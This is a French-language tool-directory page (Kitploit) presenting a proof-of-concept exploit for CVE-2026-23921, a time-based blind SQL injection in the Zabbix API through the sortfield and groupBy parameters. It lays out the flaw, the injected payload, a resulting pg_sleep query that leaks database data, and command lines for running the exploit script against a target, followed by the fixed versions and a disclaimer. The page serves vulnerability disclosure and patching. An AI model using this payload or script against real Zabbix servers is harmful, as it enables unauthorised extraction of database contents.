Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-23921 — Preuve de concept d'exploit pour CVE-2026-23921, une injection SQL aveugle basée sur le temps dans l'API Zabbix via le paramètre sortfield, permettant l'extraction de données depuis les backends PostgreSQL et MySQL. | Kitploit
Outils/GitHubGitHub/qucklecrabik/cve-2026-23921
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionSécurité des Bases de Données
GitHubqucklecrabik/cve-2026-23921

CVE-2026-23921

Preuve de concept d'exploit pour CVE-2026-23921, une injection SQL aveugle basée sur le temps dans l'API Zabbix via le paramètre sortfield, permettant l'extraction de données depuis les backends PostgreSQL et MySQL.

Voir le dépôt
9il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-23921 — Injection SQL aveugle temporelle dans Zabbix

Versions affectées : Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS : Élevé
Type : Injection SQL aveugle temporelle via le paramètre sortfield
Authentification requise : Oui (tout utilisateur de l'API ; le Super Admin évite les jointures de permissions)

Vulnérabilité

Les services hérités de l'API Zabbix (host.get, trigger.get, item.get, etc.) acceptent un paramètre groupBy non déclaré via zbx_array_merge(). Dans CApiService::applyQuerySortOptions(), le tableau groupBy remplace la liste blanche codée en dur utilisée pour valider . Un attaquant transmet la même charge utile SQL à la fois dans et — la validation passe contre la liste contrôlée par l'attaquant, et la charge utile atterrit dans sans échappement.

sortfield
groupBy
sortfield
ORDER BY

Déroulement de l'attaque

  1. L'attaquant envoie groupBy: ["hostid,(SELECT IF(...))--"] et sortfield: "hostid,(SELECT IF(...))--" avec countOutput: true
  2. zbx_array_merge préserve la clé groupBy non déclarée
  3. applyQuerySortOptions construit la liste blanche à partir de groupBy → la validation passe
  4. applyQuerySortField concatène la charge utile dans ORDER BY
  5. createSelectQueryFromParts construit le SQL final sans échappement

SQL résultant (PostgreSQL)

root@kitploit:~
SELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
                   THEN pg_sleep(3) ELSE pg_sleep(0) END)--

Utilisation

root@kitploit:~
# Backend PostgreSQL (par défaut)
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --user Admin --password zabbix --db pgsql

# Backend MySQL
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --user Admin --password zabbix --db mysql

# Jeton d'authentification existant
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --auth <token> --db pgsql

# Extraire une expression arbitraire
python exploit_CVE-2026-23921.py \
    --url ... --auth ... --db pgsql \
    --expr "current_user"

# Utiliser une méthode d'API différente
python exploit_CVE-2026-23921.py \
    --url ... --auth ... --db mysql \
    --method trigger.get --sort-col triggerid

Correctif

Mettre à niveau vers Zabbix 7.0.22 / 7.2.15 / 7.4.6 ou une version ultérieure.

Le correctif remplace array_merge($options['groupBy'], ...) par array_intersect($this->sortColumns, $options['groupBy']) afin que les valeurs fournies par l'attaquant n'entrent jamais dans la liste blanche. Des vérifications de type supplémentaires is_string() et is_array() ont été ajoutées en défense en profondeur.

Avertissement

Cet outil est destiné uniquement à des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

Télécharger l’outil